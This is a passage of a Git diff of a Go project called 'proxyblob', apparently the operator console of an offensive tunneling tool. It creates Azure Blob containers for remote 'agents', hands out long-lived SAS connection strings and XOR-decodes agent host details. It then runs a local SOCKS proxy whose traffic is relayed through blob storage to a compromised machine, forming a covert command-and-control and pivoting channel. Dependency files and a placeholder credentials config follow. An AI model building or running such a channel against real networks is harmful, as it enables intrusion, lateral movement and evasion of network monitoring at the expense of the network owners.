return "", "", fmt.Errorf("failed to delete container after SAS token generation failed")
|
||||
}
|
||||
return "", "", fmt.Errorf("failed to generate SAS token")
|
||||
}
|
||||
|
||||
connectionString, _ := url.Parse(storageManager.ServiceURL.String())
|
||||
connectionString = connectionString.JoinPath(containerID)
|
||||
connString := connectionString.String() + "?" + sasToken
|
||||
|
||||
return containerID, connString, nil
|
||||
}
|
||||
|
||||
// GenerateSASToken creates a Shared Access Signature token for container access.
|
||||
// The token provides limited-time read/write access to specific container resources.
|
||||
func (sm *StorageManager) GenerateSASToken(containerName string, expiry time.Duration) (string, error) {
|
||||
// Start time is 5 minutes before now to avoid clock skew issues
|
||||
startTime := time.Now().UTC().Add(-5 * time.Minute)
|
||||
|
||||
// Set expiry time (default 7 days)
|
||||
expiryTime := time.Now().UTC().Add(expiry)
|
||||
|
||||
// Define the permissions for the SAS token
|
||||
permissions := azblob.ContainerSASPermissions{
|
||||
Read: true,
|
||||
Write: true,
|
||||
}
|
||||
|
||||
// Generate the SAS signature
|
||||
sasQueryParams, err := azblob.BlobSASSignatureValues{
|
||||
Protocol: azblob.SASProtocolHTTPSandHTTP,
|
||||
StartTime: startTime,
|
||||
ExpiryTime: expiryTime,
|
||||
ContainerName: containerName,
|
||||
Permissions: permissions.String(),
|
||||
}.NewSASQueryParameters(sm.SharedKeyCredential)
|
||||
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to create SAS query parameters: %v", err)
|
||||
}
|
||||
|
||||
// Convert the SAS query parameters to a string
|
||||
sasToken := sasQueryParams.Encode()
|
||||
return sasToken, nil
|
||||
}
|
||||
|
||||
// ListAgentContainers retrieves information about all agent containers.
|
||||
// It fetches container metadata and agent information, sorted by creation time.
|
||||
func (sm *StorageManager) ListAgentContainers(ctx context.Context) ([]ContainerInfo, error) {
|
||||
var containers []ContainerInfo
|
||||
|
||||
// List all containers in the storage account
|
||||
for marker := (azblob.Marker{}); marker.NotDone(); {
|
||||
// Get a segment of containers (up to 100 at a time)
|
||||
listResponse, err := sm.ServiceURL.ListContainersSegment(ctx, marker, azblob.ListContainersSegmentOptions{
|
||||
Prefix: "",
|
||||
MaxResults: 0,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to list containers: %v", err)
|
||||
}
|
||||
|
||||
// Update marker for next iteration
|
||||
marker = listResponse.NextMarker
|
||||
|
||||
// Process each container
|
||||
for _, containerItem := range listResponse.ContainerItems {
|
||||
// Create container URL for accessing blobs
|
||||
containerURL := sm.ServiceURL.NewContainerURL(containerItem.Name)
|
||||
|
||||
// Try to get the info blob
|
||||
blobURL := containerURL.NewBlockBlobURL(InfoBlobName)
|
||||
downloadResponse, err := blobURL.Download(ctx, 0, azblob.CountToEnd, azblob.BlobAccessConditions{}, false, azblob.ClientProvidedKeyOptions{})
|
||||
|
||||
// Skip containers that don't have our expected structure
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
// Read the info blob content
|
||||
bodyReader := downloadResponse.Body(azblob.RetryReaderOptions{MaxRetryRequests: 3})
|
||||
agentInfo, err := io.ReadAll(bodyReader)
|
||||
bodyReader.Close()
|
||||
if err != nil {
|
||||
log.Warn().Err(err).Str("container", containerItem.Name).Msg("Failed to read info blob")
|
||||
continue
|
||||
}
|
||||
agentInfo = protocol.Xor(agentInfo, InfoKey)
|
||||
|
||||
// Get last activity from response blob
|
||||
responseBlob := containerURL.NewBlockBlobURL(ResponseBlobName)
|
||||
responseProps, err := responseBlob.GetProperties(ctx, azblob.BlobAccessConditions{}, azblob.ClientProvidedKeyOptions{})
|
||||
|
||||
// Get the last modified time, defaulting to container creation time if not available
|
||||
var lastActivity time.Time
|
||||
if err != nil {
|
||||
lastActivity = containerItem.Properties.LastModified
|
||||
} else {
|
||||
lastActivity = responseProps.LastModified()
|
||||
}
|
||||
|
||||
// Check if the container has an active proxy
|
||||
var proxyPort string
|
||||
if value, running := runningProxies.Load(containerItem.Name); running {
|
||||
// Try to get the port from the server object
|
||||
if server, ok := value.(*proxy.ProxyServer); ok && server.Listener != nil {
|
||||
_, portStr, err := net.SplitHostPort(server.Listener.Addr().String())
|
||||
if err == nil {
|
||||
proxyPort = portStr
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add the container to our list
|
||||
containers = append(containers, ContainerInfo{
|
||||
ID: containerItem.Name,
|
||||
AgentInfo: string(agentInfo),
|
||||
ProxyPort: proxyPort,
|
||||
CreatedAt: containerItem.Properties.LastModified,
|
||||
LastActivity: lastActivity,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return containers, nil
|
||||
}
|
||||
|
||||
// RenderAgentTable formats container information into a human-readable table.
|
||||
// The table includes container ID, agent info, proxy port, and timing information.
|
||||
func RenderAgentTable(containers []ContainerInfo) string {
|
||||
t := table.NewWriter()
|
||||
t.SetStyle(table.StyleRounded)
|
||||
|
||||
// Set up headers
|
||||
t.AppendHeader(table.Row{
|
||||
"Container ID",
|
||||
"Agent info",
|
||||
"Proxy port",
|
||||
"First seen",
|
||||
"Last seen",
|
||||
})
|
||||
|
||||
// Add rows for each container
|
||||
for _, c := range containers {
|
||||
// Add the container information as a row
|
||||
t.AppendRow(table.Row{
|
||||
c.ID,
|
||||
c.AgentInfo,
|
||||
c.ProxyPort,
|
||||
c.CreatedAt.Format("2006-01-02 15:04:05"),
|
||||
c.LastActivity.Format("2006-01-02 15:04:05"),
|
||||
})
|
||||
}
|
||||
|
||||
// Configure column options for better readability
|
||||
t.SetColumnConfigs([]table.ColumnConfig{
|
||||
{Number: 1}, // Container ID
|
||||
{Number: 2}, // Agent Info
|
||||
{Number: 3}, // Proxy port
|
||||
{Number: 4}, // Created At
|
||||
{Number: 5}, // Last Activity
|
||||
})
|
||||
|
||||
return t.Render()
|
||||
}
|
||||
|
||||
// DeleteAgentContainer removes a container and its associated blobs.
|
||||
// This terminates the connection with the remote agent.
|
||||
func (sm *StorageManager) DeleteAgentContainer(ctx context.Context, containerID string) error {
|
||||
|
||||
// Stop any running proxy for this container
|
||||
if server, running := runningProxies.Load(containerID); running {
|
||||
if proxyServer, ok := server.(*proxy.ProxyServer); ok {
|
||||
proxyServer.Stop()
|
||||
}
|
||||
runningProxies.Delete(containerID)
|
||||
}
|
||||
|
||||
// Create URL for the container we want to delete
|
||||
containerURL := sm.ServiceURL.NewContainerURL(containerID)
|
||||
|
||||
// Delete the container and all its contents
|
||||
_, err := containerURL.Delete(ctx, azblob.ContainerAccessConditions{})
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to delete container")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ValidateAgent checks if an agent container exists and is properly configured.
|
||||
// Returns error if the container is missing.
|
||||
func (sm *StorageManager) ValidateAgent(ctx context.Context, containerID string) error {
|
||||
containerURL := sm.ServiceURL.NewContainerURL(containerID)
|
||||
blobURL := containerURL.NewBlockBlobURL(InfoBlobName)
|
||||
|
||||
// Try to get the info blob to verify this is a valid agent container
|
||||
_, err := blobURL.GetProperties(ctx, azblob.BlobAccessConditions{}, azblob.ClientProvidedKeyOptions{})
|
||||
if err != nil {
|
||||
if serr, ok := err.(azblob.StorageError); ok {
|
||||
if serr.ServiceCode() == azblob.ServiceCodeContainerNotFound {
|
||||
return fmt.Errorf("agent container %s does not exist", containerID)
|
||||
}
|
||||
}
|
||||
return fmt.Errorf("invalid agent container %s: %v", containerID, err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetSelectedAgentInfo retrieves the metadata for the currently selected agent.
|
||||
// Returns error if no agent is selected or the agent information is unavailable.
|
||||
func (sm *StorageManager) GetSelectedAgentInfo(ctx context.Context) (string, error) {
|
||||
if selectedAgent == "" {
|
||||
return "", fmt.Errorf("no agent selected. Use 'agent use <container-id>' first")
|
||||
}
|
||||
|
||||
containerURL := sm.ServiceURL.NewContainerURL(selectedAgent)
|
||||
blobURL := containerURL.NewBlockBlobURL(InfoBlobName)
|
||||
|
||||
// Download the info blob
|
||||
response, err := blobURL.Download(ctx, 0, azblob.CountToEnd, azblob.BlobAccessConditions{}, false, azblob.ClientProvidedKeyOptions{})
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to get agent info: %v", err)
|
||||
}
|
||||
|
||||
// Read the agent info
|
||||
agentInfo, err := io.ReadAll(response.Body(azblob.RetryReaderOptions{MaxRetryRequests: 3}))
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to read agent info: %v", err)
|
||||
}
|
||||
agentInfo = protocol.Xor(agentInfo, InfoKey)
|
||||
|
||||
return string(agentInfo), nil
|
||||
}
|
||||
|
||||
// AddCommands registers all CLI commands with the application.
|
||||
// This includes commands for agent management, proxy control, and configuration.
|
||||
func AddCommands(app *grumble.App) {
|
||||
// Command to create a new agent
|
||||
app.AddCommand(&grumble.Command{
|
||||
Name: "create",
|
||||
Aliases: []string{"new"},
|
||||
Help: "create a new agent container and generate its connection string",
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Duration("d", "duration", 7*24*time.Hour, "duration for the SAS token. by default the token will be valid for 7 days")
|
||||
},
|
||||
Run: func(c *grumble.Context) error {
|
||||
expiry := c.Flags.Duration("duration")
|
||||
containerID, connString, err := storageManager.CreateAgentContainer(expiry)
|
||||
if err != nil {
|
||||
log.Error().Err(err).Msg("Failed to create agent container")
|
||||
return nil
|
||||
}
|
||||
log.Info().Str("container_id", containerID).Msg("Agent container created successfully")
|
||||
log.Info().Str("connection_string", base64.RawStdEncoding.EncodeToString([]byte(connString))).Msg("Connection string generated")
|
||||
return nil
|
||||
},
|
||||
})
|
||||
// Command to list existing agents
|
||||
app.AddCommand(&grumble.Command{
|
||||
Name: "list",
|
||||
Aliases: []string{"ls"},
|
||||
Help: "list all existing agent containers",
|
||||
Run: func(c *grumble.Context) error {
|
||||
ctx := context.Background()
|
||||
|
||||
// Retrieve all containers
|
||||
containers, err := storageManager.ListAgentContainers(ctx)
|
||||
if err != nil {
|
||||
log.Error().Err(err).Msg("Failed to list containers")
|
||||
return nil
|
||||
}
|
||||
|
||||
// Display message if no containers found
|
||||
if len(containers) == 0 {
|
||||
log.Info().Msg("No agent containers found")
|
||||
return nil
|
||||
}
|
||||
|
||||
// Display the container table
|
||||
c.App.Println(RenderAgentTable(containers))
|
||||
return nil
|
||||
},
|
||||
})
|
||||
// Command to delete an agent
|
||||
app.AddCommand(&grumble.Command{
|
||||
Name: "delete",
|
||||
Aliases: []string{"rm"},
|
||||
Help: "delete an existing agent container",
|
||||
Args: func(a *grumble.Args) {
|
||||
a.StringList("containers-id", "ID of the containers to delete")
|
||||
},
|
||||
Completer: CompleteAgents,
|
||||
Run: func(c *grumble.Context) error {
|
||||
containerIDs := c.Args.StringList("containers-id")
|
||||
if len(containerIDs) == 0 {
|
||||
containerIDs = append(containerIDs, selectedAgent)
|
||||
}
|
||||
|
||||
for _, containerID := range containerIDs {
|
||||
// Ask for confirmation before deletion
|
||||
log.Info().Str("container_id", containerID).Msg("Are you sure you want to delete container? [y/N]")
|
||||
var response string
|
||||
fmt.Scanln(&response)
|
||||
|
||||
if strings.ToLower(response) != "y" {
|
||||
log.Info().Msg("Deletion cancelled")
|
||||
return nil
|
||||
}
|
||||
|
||||
// Proceed with deletion
|
||||
ctx := context.Background()
|
||||
if err := storageManager.DeleteAgentContainer(ctx, containerID); err != nil {
|
||||
log.Error().Err(err).Str("container_id", containerID).Msg("Failed to delete container")
|
||||
return nil
|
||||
}
|
||||
|
||||
if selectedAgent == containerID {
|
||||
selectedAgent = ""
|
||||
c.App.SetPrompt("proxyblob » ")
|
||||
}
|
||||
|
||||
log.Info().Str("container_id", containerID).Msg("Container deleted successfully")
|
||||
}
|
||||
return nil
|
||||
},
|
||||
})
|
||||
// Command to select an agent
|
||||
app.AddCommand(&grumble.Command{
|
||||
Name: "select",
|
||||
Aliases: []string{"use"},
|
||||
Help: "select an agent for subsequent commands",
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("container-id", "ID of the container to select")
|
||||
},
|
||||
Completer: CompleteAgents,
|
||||
Run: func(c *grumble.Context) error {
|
||||
ctx := context.Background()
|
||||
containerID := c.Args.String("container-id")
|
||||
|
||||
// Validate the agent exists
|
||||
if err := storageManager.ValidateAgent(ctx, containerID); err != nil {
|
||||
log.Error().Err(err).Msg("Failed to validate agent")
|
||||
return nil
|
||||
}
|
||||
|
||||
// Store the selected agent
|
||||
selectedAgent = containerID
|
||||
|
||||
// Get and display agent info
|
||||
agentInfo, err := storageManager.GetSelectedAgentInfo(ctx)
|
||||
if err != nil {
|
||||
log.Error().Err(err).Msg("Failed to get agent info")
|
||||
return nil
|
||||
}
|
||||
if agentInfo == "" {
|
||||
agentInfo = "unknown@host"
|
||||
}
|
||||
|
||||
log.Info().Str("agent", agentInfo).Msg("Agent selected")
|
||||
c.App.SetPrompt(agentInfo + " » ")
|
||||
|
||||
return nil
|
||||
},
|
||||
})
|
||||
// Command to start the proxy server over the current selected agent
|
||||
app.AddCommand(&grumble.Command{
|
||||
Name: "start",
|
||||
Aliases: []string{"proxy"},
|
||||
Help: "start SOCKS proxy server",
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("l", "listen", "127.0.0.1:1080", "listen address for SOCKS server")
|
||||
},
|
||||
Run: func(c *grumble.Context) error {
|
||||
if selectedAgent == "" {
|
||||
log.Warn().Msg("No agent selected. Use 'select <container-id>' first")
|
||||
return nil
|
||||
}
|
||||
|
||||
if _, exists := runningProxies.Load(selectedAgent); exists {
|
||||
log.Warn().Msg("Proxy already running for this agent")
|
||||
return nil
|
||||
}
|
||||
|
||||
// Verify the container still exists before starting a proxy
|
||||
ctx := context.Background()
|
||||
|
||||
// Check if the container exists
|
||||
if err := storageManager.ValidateAgent(ctx, selectedAgent); err != nil {
|
||||
log.Error().Err(err).Msg("Cannot start proxy")
|
||||
return nil
|
||||
}
|
||||
|
||||
containerURL := storageManager.ServiceURL.NewContainerURL(selectedAgent)
|
||||
transport := transport.NewBlobTransport(
|
||||
containerURL.NewBlockBlobURL(ResponseBlobName),
|
||||
containerURL.NewBlockBlobURL(RequestBlobName),
|
||||
)
|
||||
|
||||
server := proxy.NewProxyServer(ctx, transport)
|
||||
listenAddr := c.Flags.String("listen")
|
||||
|
||||
runningProxies.Store(selectedAgent, server)
|
||||
server.Start(listenAddr)
|
||||
|
||||
// Log the port info for user feedback
|
||||
if server.Listener != nil {
|
||||
_, portStr, _ := net.SplitHostPort(server.Listener.Addr().String())
|
||||
// Get agent info for notification
|
||||
agentInfo, err := storageManager.GetSelectedAgentInfo(context.Background())
|
||||
if err != nil || agentInfo == "" {
|
||||
agentInfo = selectedAgent // Fallback to container ID if we can't get agent info
|
||||
}
|
||||
|
||||
log.Info().Str("agent", agentInfo).Str("port", portStr).Msg("Proxy started successfully")
|
||||
}
|
||||
|
||||
return nil
|
||||
},
|
||||
})
|
||||
// Command to stop the proxy server running the current selected agent
|
||||
app.AddCommand(&grumble.Command{
|
||||
Name: "stop",
|
||||
Help: "stop running proxy for the selected agent",
|
||||
Run: func(c *grumble.Context) error {
|
||||
if selectedAgent == "" {
|
||||
log.Warn().Msg("No agent selected. Use 'select <container-id>' first")
|
||||
return nil
|
||||
}
|
||||
|
||||
// Retrieve and remove the value from the map in one atomic operation
|
||||
value, exists := runningProxies.LoadAndDelete(selectedAgent)
|
||||
if !exists {
|
||||
log.Warn().Msg("No proxy running for this agent")
|
||||
return nil
|
||||
}
|
||||
|
||||
// Try to stop the proxy gracefully
|
||||
server, _ := value.(*proxy.ProxyServer)
|
||||
server.Stop()
|
||||
|
||||
// Get agent info for notification
|
||||
agentInfo, err := storageManager.GetSelectedAgentInfo(context.Background())
|
||||
if err != nil || agentInfo == "" {
|
||||
agentInfo = selectedAgent // Fallback to container ID if we can't get agent info
|
||||
}
|
||||
|
||||
log.Info().Str("agent", agentInfo).Msg("Proxy stopped")
|
||||
|
||||
return nil
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
// CompleteAgents provides tab completion for agent IDs.
|
||||
// Returns a list of available agent container IDs.
|
||||
func CompleteAgents(_ string, _ []string) []string {
|
||||
containers, err := storageManager.ListAgentContainers(context.Background())
|
||||
if err != nil {
|
||||
return []string{} // Return empty slice on error
|
||||
}
|
||||
|
||||
var completions []string
|
||||
for _, container := range containers {
|
||||
completions = append(completions, container.ID)
|
||||
}
|
||||
return completions
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Main Application Entry
|
||||
// -----------------------------------------------------------------------------
|
||||
|
||||
// main is the entry point for the application.
|
||||
// It sets up the CLI, configuration, and command handlers.
|
||||
func main() {
|
||||
// Set up logging
|
||||
configureLogging()
|
||||
|
||||
// Configure and create the CLI app
|
||||
app := setupCLI()
|
||||
|
||||
// Add all command handlers
|
||||
AddCommands(app)
|
||||
|
||||
// Run the application and handle any errors
|
||||
if err := app.Run(); err != nil {
|
||||
log.Fatal().Msg(err.Error())
|
||||
}
|
||||
}
|
||||
|
||||
// configureLogging sets up zerolog with appropriate formatting and level.
|
||||
func configureLogging() {
|
||||
// Configure zerolog with a pretty console writer for interactive use
|
||||
log.Logger = log.Output(zerolog.ConsoleWriter{
|
||||
Out: os.Stdout,
|
||||
TimeFormat: "15:04:05",
|
||||
})
|
||||
|
||||
// Set reasonable default log level
|
||||
zerolog.SetGlobalLevel(zerolog.InfoLevel)
|
||||
}
|
||||
|
||||
// setupCLI initializes the command-line interface with basic configuration.
|
||||
// Returns a configured grumble App instance.
|
||||
func setupCLI() *grumble.App {
|
||||
// Determine history file location
|
||||
var histFile string
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
histFile = ".proxyblob" // current working directory
|
||||
} else {
|
||||
histFile = filepath.Join(home, ".proxyblob") // home directory
|
||||
}
|
||||
|
||||
// Create and configure the CLI app
|
||||
app := grumble.New(&grumble.Config{
|
||||
Name: "proxyblob",
|
||||
HistoryFile: histFile,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("c", "config", "config.json", "path to configuration file")
|
||||
},
|
||||
})
|
||||
|
||||
// Set up our ASCII art banner
|
||||
app.SetPrintASCIILogo(func(a *grumble.App) {
|
||||
fmt.Print(banner)
|
||||
})
|
||||
|
||||
// Initialize configuration when the app starts
|
||||
app.OnInit(func(a *grumble.App, flags grumble.FlagMap) error {
|
||||
// Load configuration from file
|
||||
var err error
|
||||
config, err = LoadConfig(flags.String("config"))
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to load configuration: %v", err)
|
||||
}
|
||||
|
||||
// Validate the configuration
|
||||
if err := config.Validate(); err != nil {
|
||||
return fmt.Errorf("invalid configuration: %v", err)
|
||||
}
|
||||
|
||||
// Initialize the storage manager
|
||||
storageManager, err = NewStorageManager(config)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to initialize storage manager: %v", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
})
|
||||
|
||||
return app
|
||||
}
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 95 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 96 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 47 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 178 KiB |
@@ -0,0 +1,4 @@
|
||||
{
|
||||
"storage_account_name": "storage-name",
|
||||
"storage_account_key": "storage-access-key"
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
module proxyblob
|
||||
|
||||
go 1.23.4
|
||||
|
||||
require (
|
||||
github.com/desertbit/grumble v1.1.3
|
||||
github.com/google/uuid v1.6.0
|
||||
golang.org/x/crypto v0.33.0
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/Azure/azure-pipeline-go v0.2.3 // indirect
|
||||
github.com/Azure/go-autorest/autorest/adal v0.9.24 // indirect
|
||||
github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 // indirect
|
||||
github.com/go-openapi/errors v0.22.0 // indirect
|
||||
github.com/go-openapi/strfmt v0.23.0 // indirect
|
||||
github.com/golang-jwt/jwt/v4 v4.5.1 // indirect
|
||||
github.com/mattn/go-ieproxy v0.0.12 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.16 // indirect
|
||||
github.com/mitchellh/mapstructure v1.5.0 // indirect
|
||||
github.com/oklog/ulid v1.3.1 // indirect
|
||||
github.com/rivo/uniseg v0.4.7 // indirect
|
||||
go.mongodb.org/mongo-driver v1.17.3 // indirect
|
||||
golang.org/x/net v0.35.0 // indirect
|
||||
golang.org/x/text v0.22.0 // indirect
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/Azure/azure-storage-blob-go v0.15.0
|
||||
github.com/desertbit/closer/v3 v3.7.5 // indirect
|
||||
github.com/desertbit/columnize v2.1.0+incompatible // indirect
|
||||
github.com/desertbit/go-shlex v0.1.1 // indirect
|
||||
github.com/desertbit/readline v1.5.1 // indirect
|
||||
github.com/fatih/color v1.18.0 // indirect
|
||||
github.com/jedib0t/go-pretty v4.3.0+incompatible
|
||||
github.com/mattn/go-colorable v0.1.14 // indirect
|
||||
github.com/mattn/go-isatty v0.0.20 // indirect
|
||||
github.com/rs/zerolog v1.33.0
|
||||
golang.org/x/sys v0.30.0 // indirect
|
||||
)
|
||||
@@ -0,0 +1,193 @@
|
||||
github.com/Azure/azure-pipeline-go v0.2.3 h1:7U9HBg1JFK3jHl5qmo4CTZKFTVgMwdFHMVtCdfBE21U=
|
||||
github.com/Azure/azure-pipeline-go v0.2.3/go.mod h1:x841ezTBIMG6O3lAcl8ATHnsOPVl2bqk7S3ta6S6u4k=
|
||||
github.com/Azure/azure-storage-blob-go v0.15.0 h1:rXtgp8tN1p29GvpGgfJetavIG0V7OgcSXPpwp3tx6qk=
|
||||
github.com/Azure/azure-storage-blob-go v0.15.0/go.mod h1:vbjsVbX0dlxnRc4FFMPsS9BsJWPcne7GB7onqlPvz58=
|
||||
github.com/Azure/go-autorest v14.2.0+incompatible h1:V5VMDjClD3GiElqLWO7mz2MxNAK/vTfRHdAubSIPRgs=
|
||||
github.com/Azure/go-autorest v14.2.0+incompatible/go.mod h1:r+4oMnoxhatjLLJ6zxSWATqVooLgysK6ZNox3g/xq24=
|
||||
github.com/Azure/go-autorest/autorest/adal v0.9.13/go.mod h1:W/MM4U6nLxnIskrw4UwWzlHfGjwUS50aOsc/I3yuU8M=
|
||||
github.com/Azure/go-autorest/autorest/adal v0.9.24 h1:BHZfgGsGwdkHDyZdtQRQk1WeUdW0m2WPAwuHZwUi5i4=
|
||||
github.com/Azure/go-autorest/autorest/adal v0.9.24/go.mod h1:7T1+g0PYFmACYW5LlG2fcoPiPlFHjClyRGL7dRlP5c8=
|
||||
github.com/Azure/go-autorest/autorest/date v0.3.0 h1:7gUk1U5M/CQbp9WoqinNzJar+8KY+LPI6wiWrP/myHw=
|
||||
github.com/Azure/go-autorest/autorest/date v0.3.0/go.mod h1:BI0uouVdmngYNUzGWeSYnokU+TrmwEsOqdt8Y6sso74=
|
||||
github.com/Azure/go-autorest/autorest/mocks v0.4.1/go.mod h1:LTp+uSrOhSkaKrUy935gNZuuIPPVsHlr9DSOxSayd+k=
|
||||
github.com/Azure/go-autorest/logger v0.2.1 h1:IG7i4p/mDa2Ce4TRyAO8IHnVhAVF3RFU+ZtXWSmf4Tg=
|
||||
github.com/Azure/go-autorest/logger v0.2.1/go.mod h1:T9E3cAhj2VqvPOtCYAvby9aBXkZmbF5NWuPV8+WeEW8=
|
||||
github.com/Azure/go-autorest/tracing v0.6.0 h1:TYi4+3m5t6K48TGI9AUdb+IzbnSxvnvUMfuitfgcfuo=
|
||||
github.com/Azure/go-autorest/tracing v0.6.0/go.mod h1:+vhtPC754Xsa23ID7GlGsrdKBpUA79WCAKPPZVC2DeU=
|
||||
github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
|
||||
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
|
||||
github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 h1:DklsrG3dyBCFEj5IhUbnKptjxatkF07cF2ak3yi77so=
|
||||
github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw=
|
||||
github.com/chzyer/logex v1.1.10 h1:Swpa1K6QvQznwJRcfTfQJmTE72DqScAa40E+fbHEXEE=
|
||||
github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
|
||||
github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1 h1:q763qf9huN11kDQavWsoZXJNW3xEE4JJyHa5Q25/sd8=
|
||||
github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=
|
||||
github.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc=
|
||||
github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/desertbit/closer/v3 v3.1.2/go.mod h1:AAC4KRd8DC40nwvV967J/kDFhujMEiuwIKQfN0IDxXw=
|
||||
github.com/desertbit/closer/v3 v3.7.5 h1:tJ3BXDeflcWjGSacIQFiFOZf3ep7kit9HMxM87qXVLc=
|
||||
github.com/desertbit/closer/v3 v3.7.5/go.mod h1:wxbB5mDxqhQC8CjI8ApBhj9aHHSLjdok5WFkJj4Bq7M=
|
||||
github.com/desertbit/columnize v2.1.0+incompatible h1:h55rYmdrWoTj7w9aAnCkxzM3C2Eb8zuFa2W41t0o5j0=
|
||||
github.com/desertbit/columnize v2.1.0+incompatible/go.mod h1:5kPrzQwKbQ8E5D28nvTVPqIBJyj+8jvJzwt6HXZvXgI=
|
||||
github.com/desertbit/go-shlex v0.1.1 h1:c65HnbgX1QyC6kPL1dMzUpZ4puNUE6ai/eVucWNLNsk=
|
||||
github.com/desertbit/go-shlex v0.1.1/go.mod h1:Qbb+mJNud5AypgHZ81EL8syOGaWlwvAOTqS7XmWI4pQ=
|
||||
github.com/desertbit/grumble v1.1.3 h1:gbdgVGWsHmNraJ7Gn6Q4TiUEIHU/UHfbc1KUSbBlgYU=
|
||||
github.com/desertbit/grumble v1.1.3/go.mod h1:r7j3ShNy5EmOsegRD2DzTutIaGiLiA3M5yBTXXeLwcs=
|
||||
github.com/desertbit/readline v1.5.1 h1:/wOIZkWYl1s+IvJm/5bOknfUgs6MhS9svRNZpFM53Os=
|
||||
github.com/desertbit/readline v1.5.1/go.mod h1:pHQgTsCFs9Cpfh5mlSUFi9Xa5kkL4d8L1Jo4UVWzPw0=
|
||||
github.com/fatih/color v1.10.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
|
||||
github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM=
|
||||
github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU=
|
||||
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BHsljHzVlRcyQhjrss6TZTdY2VfCqZPbv5k3iBFa2ZQ=
|
||||
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=
|
||||
github.com/form3tech-oss/jwt-go v3.2.2+incompatible/go.mod h1:pbq4aXjuKjdthFRnoDwaVPLA+WlJuPGy+QneDUgJi2k=
|
||||
github.com/go-openapi/errors v0.22.0 h1:c4xY/OLxUBSTiepAg3j/MHuAv5mJhnf53LLMWFB+u/w=
|
||||
github.com/go-openapi/errors v0.22.0/go.mod h1:J3DmZScxCDufmIMsdOuDHxJbdOGC0xtUynjIx092vXE=
|
||||
github.com/go-openapi/strfmt v0.23.0 h1:nlUS6BCqcnAk0pyhi9Y+kdDVZdZMHfEKQiS4HaMgO/c=
|
||||
github.com/go-openapi/strfmt v0.23.0/go.mod h1:NrtIpfKtWIygRkKVsxh7XQMDQW5HKQl6S5ik2elW+K4=
|
||||
github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
|
||||
github.com/golang-jwt/jwt/v4 v4.5.0/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0=
|
||||
github.com/golang-jwt/jwt/v4 v4.5.1 h1:JdqV9zKUdtaa9gdPlywC3aeoEsR681PlKC+4F5gQgeo=
|
||||
github.com/golang-jwt/jwt/v4 v4.5.1/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0=
|
||||
